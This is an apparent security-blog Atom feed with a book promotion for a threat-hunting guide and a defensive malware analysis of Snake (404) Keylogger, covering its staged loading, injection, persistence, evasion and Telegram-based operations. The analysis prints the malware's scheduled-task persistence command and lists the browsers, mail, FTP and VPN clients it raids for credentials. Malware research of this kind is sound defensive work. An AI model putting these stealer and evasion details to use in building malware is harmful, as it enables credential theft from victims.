<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>RexorVc0</title>
  
  
  <link href="https://rexorvc0.com/atom.xml" rel="self"/>
  
  <link href="https://rexorvc0.com/"/>
  <updated>2026-03-30T07:04:02.112Z</updated>
  <id>https://rexorvc0.com/</id>
  
  <author>
    <name>REXor</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>The Art of Threat Hunting</title>
    <link href="https://rexorvc0.com/2026/03/30/Art_of_threat_hunting/"/>
    <id>https://rexorvc0.com/2026/03/30/Art_of_threat_hunting/</id>
    <published>2026-03-30T06:00:00.000Z</published>
    <updated>2026-03-30T07:04:02.112Z</updated>
    
    <content type="html"><![CDATA[<p>🔥First of all, it is imperative to clarify that this summary should serve to help you understand whether this book is for you. If it is not, that is also perfectly fine, since my goal is that no one buys the book without knowing what they are buying🔥</p><h2 id="Introduction-about-what-the-book-is-about"><a href="#Introduction-about-what-the-book-is-about" class="headerlink" title="_Introduction about what the book is about"></a>_Introduction about what the book is about</h2><p>This book, “<a href="https://www.amazon.com/Art-Threat-Hunting-Fundamentals-Strategies/dp/B0GTWFVSTS/">The Art of Threat Hunting: A practical Journey from core fundamentals to advanced strategies</a>“ , aims to be helpful both for future threat hunters and current threat hunters, while also being useful for some team leaders or managers. Threat Hunting is a discipline that has largely emerged over the last five years, with particular emphasis on technologies such as EDR&#x2F;XDR and SIEM. A few years after starting my career in cybersecurity, I was fortunate enough to begin learning a great deal about Threat Hunting when almost no one was working in this role. This allowed me to see how both the technologies that support it and the professionals involved have evolved, as well as how the needs surrounding the discipline have changed.</p><p>Most people believe they understand threat hunting, but in reality they do not. Almost every company claims to practice it, but that is not true, or at least not entirely. I have seen this firsthand and have heard the experiences of dozens of people from different countries working in all kinds of companies. It is a young role with a long path ahead, but this book aims to help and provide context both for getting started and for refining certain techniques, as well as exposing myths and providing structure when organizing a TH team, helping identify where efforts should be focused.</p><span id="more"></span><p>Throughout the book, improvement ideas, concepts, and standards are proposed. These have been inspired by working models that I have learned, experienced, or conceived at some point and later tested in practice, where they proved effective. It is not a “from zero to hero” guide, but it can give you an idea of how to begin, provide basic concepts and techniques, show what to pay attention to, and most importantly clarify what TH is and what it is not.</p><p><img src="/images/book/1.png" alt="1"></p><p>Additionally, different examples, situations, and real incidents are explored where TH, and particularly myself, propose ways to solve them, define our scope, and present the most logical ways to face the problems encountered within this role.</p><p>In the book you will find graphs (in color, yes, I have decided to ruin myself financially) and methodologies created by me describing different aspects, trying to make them as usable and easy to understand as possible for any level.</p><h2 id="Scope-and-who-it-is-for"><a href="#Scope-and-who-it-is-for" class="headerlink" title="_Scope and who it is for"></a>_Scope and who it is for</h2><p>This book can be used by different cybersecurity teams or professionals. Although the main focus is on TH teams, I believe it can also be used by other Blue Team departments such as CTI or DFIR, and even by Red Team members, since I place particular emphasis on the need, along with examples and practical situations, of collaborating with other teams and developing good working practices between them.</p><p>However, the main usability of the book will be for:</p><p>• Threat Hunting teams and professionals aiming to understand or improve standardized methodologies, hypotheses, and advanced investigation techniques.</p><p>• CTI departments seeking to establish an effective technical collaboration and feedback channel with hunting teams.</p><p>• SOC &#x2F; IR &#x2F; DFIR teams looking for support in proactively identifying and hunting adversaries or campaigns.</p><p>• Security managers &#x2F; CISOs who need to understand the activities carried out by TH or justify and recognize the value of the team within their organization or provider.</p><p>• Consulting firms or MSSPs aiming to professionalize their TH service and align it with mature practices offered by other competitors in the market.</p><h2 id="Covered-content-Index"><a href="#Covered-content-Index" class="headerlink" title="_Covered content (Index)"></a>_Covered content (Index)</h2><p>I believe a book should not be judged by its cover (even though this one turned out pretty awesome, right?), so I will make it easier by showing you the index.</p><p>1 Introduction<br>2 Why TH &amp; How to use It<br>3 CTI Driven<br>4 Standardize TH<br>5 Research Types<br>6 Knowledge for TH<br>7 Hypothesis Generation<br>8 Queries &amp; Challenges<br>9 Documentation<br>10 TH Tools<br>11 Final Thoughts<br>Notes</p><h2 id="Type-of-content"><a href="#Type-of-content" class="headerlink" title="_Type of content"></a>_Type of content</h2><p>To make things even simpler, since it is a book of more than 200 pages (not that much, TikToker), I think it is easier to look at it from the perspective of whether the content is more strategic, which may be more useful for management or intelligence departments, or more technical, which can be used by members of Blue Team or Red Team who are more focused on technical aspects.</p><p>I believe that, aside from the first sections, chapters (2) Why TH &amp; How to Use It and (3) CTI Driven are useful for all kinds of teams, since cybersecurity professionals frequently interact with other departments, either within our own companies or in other organizations. Many of us do not fully understand what other colleagues actually do or stop doing. Knowing exactly what they do and how they do it can quickly give us an idea of whether a department is mature and knowledgeable. I also strongly believe that CTI should be involved in every area of a company, which is why I consider it something transversal.</p><p>On the other hand, regarding the content, I also believe it is beneficial for other profiles who may no longer want to lead or be involved in technical aspects to still understand the other side. It is interesting to know all perspectives in order to contribute value from as many angles as possible within a team and understand all the positions that converge within it. This can often help get the most out of TH.</p><h4 id="Strategic-content"><a href="#Strategic-content" class="headerlink" title="Strategic content"></a>Strategic content</h4><p>Mostly concentrated in:</p><blockquote><p>(4) Standardize TH<br>(9) Documentation<br>(6) Knowledge for TH (partially)</p></blockquote><p>Without a doubt, chapters (4) Standardize TH, (9) Documentation, and even part of (6) Knowledge for TH, together with the previous chapters mentioned earlier, contain a strong organizational and management component. After seeing countless managers, both in my own teams and outside of them, who literally did not understand what TH was or how to leverage it, sometimes putting contracts at risk or making executives nervous, it becomes interesting to understand how to make the most of each procedure to extract the maximum value from daily work.</p><p>TH is not something linear and, being such a young role, not all executives will understand it. Therefore, it will be the responsibility of managers or team leaders to demonstrate the value of these teams and materialize their work, as well as understand how and why investigations should be conducted.</p><p>TH can have moments where there is a lot of information and others where there is nothing at all. It is the job of a good manager to know how to manage this and communicate information correctly, as well as how to use resources properly so that the team does not burn out.</p><h4 id="Technical-content"><a href="#Technical-content" class="headerlink" title="Technical content"></a>Technical content</h4><p>Mostly concentrated in:</p><blockquote><p>(5) Research Types<br>(6) Knowledge for TH (partially)<br>(7) Hypothesis Generation<br>(8) Queries &amp; Challenges (partially)<br>(10) TH Tools</p></blockquote><p>On the technical side, the more technical aspects appear conceptually in Research Types, which later materialize in Hypothesis Generation. During these chapters we test technical capability and how to apply this knowledge. Everyone talks about hypotheses, but putting them into practice and maintaining good methodology is not that easy. Several real analyses are explored while applying the proposed methodologies.</p><p>Additionally, the book explores the usefulness of different tools for conducting TH, placing special emphasis on their usability for threat hunting and how to use them, while understanding the scope of a hunter.</p><p>In sections such as Knowledge for TH, we clarify basic concepts as well as specific techniques to pay attention to depending on what we are looking for. This area can be very complex and must be adapted according to the needs and objectives of both the team and the company it belongs to.</p><p>The chapter Queries &amp; Challenges should be present in both strategic and technical aspects, since a hunter must anticipate certain things. However, the broader vision that a team leader must have should anticipate future problems. Literally, most teams I have encountered consistently fail at this point and are unable to think in the medium and long term, sacrificing efficiency and longevity for urgency.</p><h2 id="No-more-excuses"><a href="#No-more-excuses" class="headerlink" title="_No more excuses"></a>_No more excuses</h2><p>Well, after dissecting my own creation to which I have dedicated nearly 10 months of total work, I hope that at least it has helped you determine whether it is for you or not.</p><p>I have truly dedicated a lot of work and care to it, trying to make it not too long or dense but still usable for different teams, writing what I would personally like to read if I wanted to learn about TH, work in this department, or improve my skills.</p><p>If you made it this far and support my work, I really appreciate it. It is genuinely difficult to find time for all these things.</p><p>If the book fits what you are looking for, that is great and I am infinitely grateful for your purchase. I have tried to make it affordable for any budget.</p><p>🔗Link to Amazon 👉 <a href="https://www.amazon.com/Art-Threat-Hunting-Fundamentals-Strategies/dp/B0GTWFVSTS/">https://www.amazon.com/Art-Threat-Hunting-Fundamentals-Strategies/dp/B0GTWFVSTS/</a></p><img src="/images/book/2.jpg" alt="2" width="600" height="400"><p>Happy hunting :)</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;🔥First of all, it is imperative to clarify that this summary should serve to help you understand whether this book is for you. If it is not, that is also perfectly fine, since my goal is that no one buys the book without knowing what they are buying🔥&lt;/p&gt;
&lt;h2 id=&quot;Introduction-about-what-the-book-is-about&quot;&gt;&lt;a href=&quot;#Introduction-about-what-the-book-is-about&quot; class=&quot;headerlink&quot; title=&quot;_Introduction about what the book is about&quot;&gt;&lt;/a&gt;_Introduction about what the book is about&lt;/h2&gt;&lt;p&gt;This book, “&lt;a href=&quot;https://www.amazon.com/Art-Threat-Hunting-Fundamentals-Strategies/dp/B0GTWFVSTS/&quot;&gt;The Art of Threat Hunting: A practical Journey from core fundamentals to advanced strategies&lt;/a&gt;“ , aims to be helpful both for future threat hunters and current threat hunters, while also being useful for some team leaders or managers. Threat Hunting is a discipline that has largely emerged over the last five years, with particular emphasis on technologies such as EDR&amp;#x2F;XDR and SIEM. A few years after starting my career in cybersecurity, I was fortunate enough to begin learning a great deal about Threat Hunting when almost no one was working in this role. This allowed me to see how both the technologies that support it and the professionals involved have evolved, as well as how the needs surrounding the discipline have changed.&lt;/p&gt;
&lt;p&gt;Most people believe they understand threat hunting, but in reality they do not. Almost every company claims to practice it, but that is not true, or at least not entirely. I have seen this firsthand and have heard the experiences of dozens of people from different countries working in all kinds of companies. It is a young role with a long path ahead, but this book aims to help and provide context both for getting started and for refining certain techniques, as well as exposing myths and providing structure when organizing a TH team, helping identify where efforts should be focused.&lt;/p&gt;</summary>
    
    
    
    <category term="Book" scheme="https://rexorvc0.com/categories/Book/"/>
    
    
    <category term="Book" scheme="https://rexorvc0.com/tags/Book/"/>
    
    <category term="Hunting" scheme="https://rexorvc0.com/tags/Hunting/"/>
    
  </entry>
  
  <entry>
    <title>Snake Evolution</title>
    <link href="https://rexorvc0.com/2025/11/17/Snake/"/>
    <id>https://rexorvc0.com/2025/11/17/Snake/</id>
    <published>2025-11-17T07:00:00.000Z</published>
    <updated>2025-11-13T19:01:18.869Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p>Snake Keylogger, also known as 404 Keylogger, is malware that has been categorized as a keylogger and that has evolved over time, acquiring stealer capabilities that complement its functions and have made it more powerful over the years. It first appeared in 2019 and it is believed that much of the source code may belong to Matiex, while others maintain that 404 was first and that Matiex obtained its code. Like many other malwares, it is based on a Malware-as-a-Service (MaaS) model and is sold and advertised on black markets, both on the Dark Web and in forums or Telegram since its creation, with prices that have fluctuated over the years as its capabilities increased; the tool can be purchased for anywhere from $25 up to $900 for a lifetime version, and there are currently different versions with different prices per version.</p><p>The malware has been used by all kinds of users, from organized groups to users with less ambitious objectives. Its attack methods have been very varied depending on the buyers of the tool, but they have included phishing, other droppers to launch it, prior loaders, or even abusing installers pretending to be a legitimate application.</p><p>As mentioned, Snake has been involved in a large number of campaigns and has been used by numerous unknown actors, but also by some with significant impact:</p><ul><li>[👽TA] UAC-0041 (🏴): Used with Formbook as loader</li><li>[👽TA] TA558 (🏴): Steganography using other malwares (AgentTesla, FormBook, Remcos, <a href="https://rexorvc0.com/2022/06/28/MacheteWeapons_Lokibot/">LokiBot</a>, GuLoader or XWorm)</li><li>[☢️Campaign] QuirkyLoader: Mass executions using the loader + Snake, AgentTesla, AsyncRat, MassLogger, Rhadamanthys</li><li>[☢️Campaign] GuLoader: Using it as a hook to deploy Snake</li></ul><span id="more"></span><br><br><h1 id="Technical-Analysis"><a href="#Technical-Analysis" class="headerlink" title="_Technical Analysis"></a>_Technical Analysis</h1><p>This malware has had a long trajectory, being one of those that has remained most frequently in the TOPs; therefore, we can find hundreds of samples where its behavior has varied, however, the final stage of this malware has remained fairly constant over time. Commonly, Snake is distributed through phishing campaigns where they will try to get us to download a link or will send us a script, archive, or office file that will begin the first phase. We can also find campaigns focused on downloading cracks or applications that lead to downloading files similar to those mentioned above or links that host them.</p><p>In short, the idea is to download the initial phase which will contain a loader or a script that will start Snake’s preparation phase, which will perform different tasks such as information collection, persistence, external communication, etc.</p><p>A diagram summarizing the most common Snake versions in recent months is the following:</p><p><img src="/images/SRK/0.png" alt="0"></p><p>In recent months a large number of different Snake versions have coexisted, so we can find numerous samples that present their particularities</p><p>Among the most typical versions, there are various phishing campaigns that will try to download via link or via a file the next stage of the execution; often we will encounter different types of files as attachments or even links to potential malicious downloads of the next stage</p><p><img src="/images/SRK/1.png" alt="0"></p><p>These include archives (ZIPs or RARs) as well as scripts written in different languages (JS, VBS, etc.). These do not differ greatly from one another in terms of functionality, since their main goal is usually to deobfuscate code and launch the next version or to download the next stage</p><p><img src="/images/SRK/2.png" alt="0"></p><p>During this execution we may encounter scripts typically started by wscript running a cmd followed by a powershell, or directly a powershell, which will attempt either to download the next stage or to deobfuscate&#x2F;decrypt the binary, which will generally be Snake’s first phase</p><p><img src="/images/SRK/3.png" alt="0"></p><p>Additionally, in this phase we will often see persistence mechanisms that introduce an intermediate script to resume the initial execution</p><p><img src="/images/SRK/4.png" alt="0"></p><p>As mentioned earlier, Snake has been used by different loaders, which at this point act as the detonator for Snake’s preparation phase, just as a script would, as we have seen. Campaigns are highly variable and, depending on the technical ability of the malware buyer, it can be used in different ways</p><p>Once the primary phase of Snake is obtained, either by downloading it or extracting it from some script, what is generally obtained is an obfuscated .NET binary, although there are also other versions with AutoIt or installers that would act as an intermediate phase between a possible script or archive and this first stage</p><p><img src="/images/SRK/5.png" alt="0"><br><img src="/images/SRK/6.png" alt="0"><br><img src="/images/SRK/7.png" alt="0"></p><br><h2 id="First-phase-Preparation"><a href="#First-phase-Preparation" class="headerlink" title="_First phase: Preparation"></a>_First phase: Preparation</h2><p>This phase will normally present one of two scenarios: one where we have obfuscated code that works at runtime, or, alternatively, images in resources that also work at runtime using steganography techniques. These techniques can be more or less elaborate, ranging from pixel positioning to audio spectrograms processed into bitmaps</p><p><img src="/images/SRK/8.png" alt="0"><br><img src="/images/SRK/9.png" alt="0"></p><p>Depending on the sample, it performs different operations to search the resources and obtain what it needs at each moment; the names of these will change and so will the content</p><p><img src="/images/SRK/10.png" alt="0"><br><img src="/images/SRK/11.png" alt="0"><br><img src="/images/SRK/12.png" alt="0"><br><img src="/images/SRK/13.png" alt="0"></p><p>The end result will be performing conversions to extract the binary in question, which is usually a library</p><p><img src="/images/SRK/14.png" alt="0"><br><img src="/images/SRK/15.png" alt="0"></p><p>This work is carried out in order to load it as a new module during runtime, increasing capabilities and adding new functionality</p><p><img src="/images/SRK/16.png" alt="0"></p><p>A summary of this phase of extracting the first binary is as follows:</p><p><img src="/images/SRK/17.png" alt="0"></p><p>The binaries it extracts are generally obfuscated, so they must be processed to understand their content, since at runtime it will jump to the new module to continue execution</p><p><img src="/images/SRK/18.png" alt="0"></p><h2 id="Second-phase-Module-loading"><a href="#Second-phase-Module-loading" class="headerlink" title="_Second phase: Module loading"></a>_Second phase: Module loading</h2><p>Subsequently, during execution it will jump to the first loaded module</p><p>This first module will generally serve to create a copy of the original binary in a temporary path and load another bitmap; if it did not create the file in this stage, it will do so in the next one. It is an intermediate library that only serves as a gateway and, in most cases, contains more bitmaps in its resources</p><p><img src="/images/SRK/19.png" alt="0"><br><img src="/images/SRK/20.png" alt="0"></p><p>As mentioned, it starts targeting resources, since the original binary seeks to jump to the loaded library, which, once again, will contain bitmaps that it will later process</p><p><img src="/images/SRK/21.png" alt="0"><br><img src="/images/SRK/22.png" alt="0"><br><img src="/images/SRK/23.png" alt="0"></p><p>Depending on the sample, we may find copies of the original binary, which is a common evasion technique to ensure there is a copy in a temporary path (usually TEMP or ROAMING). Additionally, Snake often creates them with the “hidden” flag, so users who do not have hidden files visible will not see them</p><p><img src="/images/SRK/24.png" alt="0"><br><img src="/images/SRK/25.png" alt="0"><br><img src="/images/SRK/26.png" alt="0"></p><p>We observe that it is a simple copy of the original binary and that its content is identical</p><p><img src="/images/SRK/27.png" alt="0"></p><p>It is also common to see Snake checking whether we are administrators, a fairly common practice to determine if it can execute something directly or needs elevated privileges</p><p><img src="/images/SRK/28.png" alt="0"></p><p>Another point to highlight in this phase is the persistence mechanism, which it implements differently from other malware of the same kind: it uses the copied file in a temporary path to generate persistence but uses an auxiliary file whose content it extracts internally, which contains an XML that will serve as the configuration to create the scheduled task. In other words, instead of creating the task pointing directly to the binary with a set of parameters, it extracts an XML with the configuration it wants to give the task</p><p><img src="/images/SRK/29.png" alt="0"><br><img src="/images/SRK/30.png" alt="0"></p><p>The command we can see is the following:</p><pre class="line-numbers language-none"><code class="language-none">&quot;C:\Windows\System32\schtasks.exe&quot; &#x2F;Create &#x2F;TN &quot;Updates\&lt;filename&gt; &#x2F;XML &quot;C:\Users\AppData\Local\Temp\&lt;randomname&gt;.tmp&quot;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>As you can see, during runtime we extract the content of the tmp and we can see that it contains the details of the task it creates, with the binary name and the flags it applies this temporary file also has a name, redundantly, a temporary one, and is deleted afterward to remove evidence</p><p><img src="/images/SRK/31.png" alt="0"></p><p>A graphic summary of this operation is as follows:</p><p><img src="/images/SRK/32.png" alt="0"></p><p>After this, the module sets itself in motion to load the next one, so, unsurprisingly, it again works with bitmaps to extract the next module</p><p><img src="/images/SRK/33.png" alt="0"><br><img src="/images/SRK/34.png" alt="0"><br><img src="/images/SRK/35.png" alt="0"></p><p>At this point, we return to the same problem: depending on the samples, they will extract the code using one technique or another. On this occasion we can observe it working with two functions, one to load each pixel and the other to perform the conversion</p><p><img src="/images/SRK/36.png" alt="0"><br><img src="/images/SRK/37.png" alt="0"></p><p>The result of this will be the loading of several arrays that converge in a third function which will operate on them again to extract the binary into another array</p><p><img src="/images/SRK/38.png" alt="0"></p><p>Evidently this binary is extracted again and we end up with another obfuscated .NET</p><p><img src="/images/SRK/39.png" alt="0"><br><img src="/images/SRK/40.png" alt="0"></p><p>Once this binary has been computed and extracted, it will be loaded again, as it did with the previous one, so we can see the original binary, the first module and the second loaded at the same time</p><p><img src="/images/SRK/41.png" alt="0"><br><img src="/images/SRK/42.png" alt="0"><br><img src="/images/SRK/43.png" alt="0"><br><img src="/images/SRK/44.png" alt="0"></p><p>As usual, I leave you a more visual layout of the set of this operation, where we can see the PE extraction and the runtime loading:</p><p><img src="/images/SRK/45.png" alt="0"></p><p>In the second module, we may encounter additional permission checks, something that is sometimes common because nothing has happened with the module loading and it is necessary to know whether in that stage it will be able to continue performing tasks with the appropriate privileges</p><p><img src="/images/SRK/46.png" alt="0"><br><img src="/images/SRK/47.png" alt="0"><br><img src="/images/SRK/48.png" alt="0"></p><p>In this phase it continues with calculations in similar ways to those performed earlier, relying on resources at all times, to keep the pattern</p><p><img src="/images/SRK/49.png" alt="0"><br><img src="/images/SRK/50.png" alt="0"><br><img src="/images/SRK/51.png" alt="0"></p><p>We can see that it also performs a phase where it computes strings to extract libraries and imports, something quite common so that they cannot be located statically (I leave you the obfuscated and the deobfuscated version), and to expand its capabilities. As we can observe, the invoked imports are common for process injection (SetThreadContext, ZwUnmapViewOfSection, etc.)</p><p><img src="/images/SRK/52.png" alt="0"></p><p>After this, it extracts the next binary, using resources as we have repeatedly seen</p><p><img src="/images/SRK/53.png" alt="0"></p><p>Snake can use the same process in which it is running to load the binary itself, performing a load or a self-injection, or it can use other legitimate processes that are commonly related to .NET (csc.exe, applaunch.exe, installutil.exe, etc.), which it will usually invoke, reserve space (VirtualAlloc), write into the process memory by calculating the binary size, etc.</p><p>The result will be that you can observe how it loads, in this case itself, another PE, which on this occasion is the payload</p><p><img src="/images/SRK/54.png" alt="0"><br><img src="/images/SRK/55.png" alt="0"><br><img src="/images/SRK/56.png" alt="0"></p><p>After extraction, what we obtain is another obfuscated binary which already contains all the interesting content</p><p><img src="/images/SRK/57.png" alt="0"><br><img src="/images/SRK/58.png" alt="0"></p><h2 id="Third-phase-Payload"><a href="#Third-phase-Payload" class="headerlink" title="_Third phase: Payload"></a>_Third phase: Payload</h2><p>As we have seen, up to reaching the payload, what we can find is a succession of operations and checks that look like a Matryoshka (greetings to our Russian friends), but although its analysis is complex due to the number of jumps it performs and operations, it is quite consistent and, analysing samples over a time range of 4–6 months and comparing them to others from years ago, the technique has endured. This may be partly because it is costly to modify all these phases, but also because of its effectiveness, since it remains one of the most used malwares</p><p>Regarding the payload, we can find a large number of capabilities that, depending on the version the Snake client chooses (we will talk more about this later), may include more or fewer toys to attack their next victim</p><p>As can be seen, the number of functions in the payload is huge, even in cheaper versions as well as in more premium versions, where we have tools for almost everything: information theft, anti-analysis techniques, keyboard capture, screen capture, and a long etcetera</p><p><img src="/images/SRK/59.png" alt="0"></p><p>Here we can find the expected functionalities of a keylogger and stealers, where we have theft of browser information, usually searching paths like “Profiles” or “Login Data” to extract information in a loop that iterates through each of the browsers it has stored.</p><p>I provide a compilation from multiple samples, since there are more or less PRO versions and some older and newer versions, so we do not miss anything:</p><pre class="line-numbers language-none"><code class="language-none">ChromeChrome CanaryChromiumMicrosoft EdgeBraveVivaldiOpera BrowserOpera Mail CocCocComodo DragonCentBrowserTorch BrowserAmigoCitrioCoolNovo &#x2F; Cool NovoCoowonEpic Privacy BrowserIridium BrowserKometaOrbitumQIP Surf7StarUranYandex BrowserQQ BrowserUC BrowserXpomXvastLiebao Browser Elements BrowserSleipnir 6SputnikBlackHawkFirefoxCyberFoxIceDragonIceCatWaterFoxPaleMoonSeaMonkeyK-MeleonFlock BrowserBliskFalkonGhost Browser<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="/images/SRK/60.png" alt="0"></p><p>Other elements it searches for are configuration files, .ini, .xml, .dat or .conf, as well as data in the registry keys of different kinds of software, mail services, FTP, VPN, SSH, etc.</p><p>I provide another compilation:</p><pre class="line-numbers language-none"><code class="language-none">OutlookThunderbirdWindows Mail AppOpera MailMailbirdThe Bat!Becky!eM ClientIncrediMailPocoMailEudoraPostboxClawsMailFoxMailFileZillaCoreFTPSmartFTPWS_FTPFlashFXPFTP NavigatorFTPGetterFtpCommanderNordVPNOpenVPNPrivate Internet AccessWinSCPRealVNCDynDNSDiscordPidginPsi &#x2F; Psi+TrillianPaltalkQQ Internet Download Manager (IDM)JDownloader 2MySQL Workbench Safari for Windows <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="/images/SRK/61.png" alt="0"></p><p>A keylogger would not be complete without keylogging capabilities as well as clipboard manipulation, being one of the flagship tasks of this type of malware, since control involves capturing keystrokes by mapping keys and also monitoring what enters via the clipboard, something that is often combined and in this case is no exception to performing screenshot captures</p><p><img src="/images/SRK/62.png" alt="0"></p><p>Snake is malware that often presents different techniques to avoid analysis, one of them being its technical complexity that is evident during analysis, as well as the level of obfuscation and even runtime string encryption it applies; added to this are anti-VM and anti-debugging techniques that make analysis and execution in controlled environments difficult.</p><p>In summary, the most used techniques are:</p><ul><li>Searching for typical VM hardware (present in network cards, GPUs or similar)</li><li>Searching for common processes in virtualized machines or names of analysis tools (Vmware, Vbox, x32dbg, IDA, procmon, etc.)</li><li>Disk sizes, machine uptime or number of CPUs</li><li>Searching for active debugging software or checking flags</li><li>Locating specific libraries that are used in virtualized and sandboxed environments (sbiedll, snxhk, cmdvrt32 or sf2)</li></ul><p><img src="/images/SRK/63.png" alt="0"></p><p>I won’t prolong it much more because, as you have seen earlier, the number of functions each payload contains is enormous, and since they varied in certain aspects depending on the version, this multiplied the review needed to summarise the capabilities that Snake payloads have, which in general are the following:</p><ul><li>System information gathering (hostnames, HW information, etc)</li><li>Browser information theft</li><li>Theft of information from all kinds of software: FTP, SSH, VPN, Mail, etc.</li><li>Theft of history and searching for sensitive files</li><li>Screen, microphone, webcam capture, etc.</li><li>Keylogging</li><li>Clipboard control</li><li>Geolocation</li><li>Anti-VM and Anti-DBG techniques</li><li>Management of running processes + kill</li><li>Self-deletion</li><li>Bot checks</li><li>Connection to C2 and the ability to download other components and execute commands</li></ul><p>I also leave some of the capabilities in graphic format:</p><p><img src="/images/SRK/64.png" alt="0"></p><p>In summary, Snake and its multiple versions (which we will address now) contain a terrifying mix to attack companies since it is sophisticated and has every capability you might imagine for a keylogger and a stealer together. Ultimately, its continued presence over so many years is driven by the evolution applied to the malware and the large group of threat actors behind it paying for the tool</p><h1 id="Gen-amp-Versions"><a href="#Gen-amp-Versions" class="headerlink" title="_Gen &amp; Versions"></a>_Gen &amp; Versions</h1><p>To find all generations and versions we have to go back to its origins, since Snake is said to have appeared in 2020, but there has been some controversy around the code of this famous keylogger. At its appearance it caused a stir and there were various media sources and researchers that echoed its capabilities; in fact it is suspected that 404 or Snake was not the first to support this code, but that Matiex appeared some months earlier</p><h2 id="Matiex-comparison"><a href="#Matiex-comparison" class="headerlink" title="_Matiex comparison"></a>_Matiex comparison</h2><p>In my humble opinion, it is difficult to find sources or rollback data on Matiex prior to 2020; however, small analyses or comments about a new crypter or keylogger (404 Keylogger) following the pattern can be observed, and even websites maintained by the creator prior to that date, in 2019, whose content, username and description, components and method of sale seem very similar to those later continued in Snake</p><p><img src="/images/SRK/65.png" alt="0"><br><img src="/images/SRK/66.png" alt="0"><br><img src="/images/SRK/67.png" alt="0"></p><p>Furthermore, if we analyze Matiex, we can see tremendous similarities with what we had already seen, where we observe uses of bitmaps and resource loading</p><p><img src="/images/SRK/68.png" alt="0"></p><p>As well as dynamic loads on the modules</p><p><img src="/images/SRK/69.png" alt="0"></p><p>In the end it converges on another bitmap that treats things a bit more rudimentarily, extracting a key for an XOR and processing an array that ultimately yields another MZ</p><p><img src="/images/SRK/70.png" alt="0"></p><p>In short, to avoid repeating everything again, since it is very similar, the final result is a binary with a pattern very similar to what we saw in Snake</p><p><img src="/images/SRK/71.png" alt="0"></p><p>The payload comparison between Snake or VIP and Matiex is not so alike, but one must consider the time gap between them, and in terms of functions, the way the malware works up to extraction and the final payload share similarities that are inherent to the same capabilities of screen capture, keylogging, extracting browser information, etc</p><p><img src="/images/SRK/72.png" alt="0"></p><p>In summary, Matiex seems a somewhat simpler version, but it meets most of the characteristics we saw in 404 or Snake, with subtle differences such as persistence via Startup, where there was less use of obfuscators and generally it appears a bit less polished. Is it possible that Matiex was the original and there was a code-copy gap between these two? It’s possible, but we only find information on 404 prior to 2019</p><h2 id="Other-Versions"><a href="#Other-Versions" class="headerlink" title="_Other Versions"></a>_Other Versions</h2><p>There are other versions that have appeared along Snake’s path, where we can find, in order of appearance, Cheetah and Nova. The first of these was a much simpler copy that also worked with bitmaps and dynamic loads, although in this case it only did it once, not twice, so it was somewhat shorter, but as we can see it also worked with XML for persistence and had similar keylogging characteristics and information-gathering, albeit more rudimentary in operation</p><p><img src="/images/SRK/73.png" alt="0"></p><p>Regarding the Nova version, there are many similarities where AutoIt appeared, but the functionalities are practically the same, only that it did not have the typical Snake or VIP elements, instead referencing NOVA, so it is very possible that it is a full copy or even a test by the same creators, since it shows a very large correlation with the Snake samples of that time, as you can see from our friend <a href="https://any.run/cybersecurity-blog/nova-keylogger-malware-analysis/">M4lcode</a></p><p>As for the easier Snake - VIP comparison, I won’t go on much longer, since I have analyzed dozens of Snakes to see the versions; I have seen that variations among Snakes are quite few. Obviously, we have a builder and elements we can change, but in essence they are quite similar at the end of the day. Similarly, if we compare the premium Snake-VIP with a basic Snake, we also see a huge relation, where we find identical functions and, of course, similar capabilities although more refined; you should see a difference in price</p><p><img src="/images/SRK/74.png" alt="0"></p><h2 id="Conclusion"><a href="#Conclusion" class="headerlink" title="_Conclusion"></a>_Conclusion</h2><p>As you can see, since 2019 there are many versions, branches and improvements of 404 or Snake Keylogger; the similarities between them are evident, but the origin is fuzzy. Personally I believe there is more evidence to think that the evolution started from an archaic version of 404 and that other developers copied it to try to get ahead in this type of business; however, as a summary I leave you another timeline graphic in the order each version appeared and how they are linked to Snake</p><p><img src="/images/SRK/75.png" alt="0"></p><br><h1 id="Some-Intel"><a href="#Some-Intel" class="headerlink" title="_Some Intel"></a>_Some Intel</h1><p>During the entire investigation I have been trying to extract panels depending on the content, since they would usually refer to Telegram groups or the developer, but only some old ones have been found, which I have seen had been reported by other colleagues previously.</p><p><img src="/images/SRK/76.png" alt="0"></p><p>Snake usually operates through Telegram, both to pass stolen information from affected nodes, where it makes the typical communication with a bot, and where during payload execution it extracts a chat_id, token and so on, something quite common with this type of malware; I always recommend using Teletoken or Matkap to interact with bots and try to extract as much information as possible as we did with <a href="https://rexorvc0.com/2025/03/31/DarkCloud/">DarkCloud</a></p><p><img src="/images/SRK/77.png" alt="0"></p><p>Continuing the search for these panels I found some old websites that advertised Snake, with plans ranging from $25 to $500 depending on the chosen model and the duration of use.</p><p><img src="/images/SRK/78.png" alt="0"></p><p>As you will recall, this is very similar to what we saw in 2019 with 404, but in an improved version and with a characteristic design.</p><p><img src="/images/SRK/79.png" alt="0"></p><p>As I mentioned before, Telegram is the focus of its operations and, over time, the malware developer seems to be avoiding communications through channels other than this one, where they are constantly in contact with potential buyers, providing information about malware updates and showing the tool’s prices or offers, which, as we see, have not changed much in the basic version but the introduction of VIP has made this model somewhat more expensive.</p><p><img src="/images/SRK/80.png" alt="0"><br><img src="/images/SRK/81.png" alt="0"><br><img src="/images/SRK/82.png" alt="0"></p><p>As we can see from conversations with the developer, the capabilities of one and the other are quite similar, with significant improvements in the VIP and the basic version being what we have seen 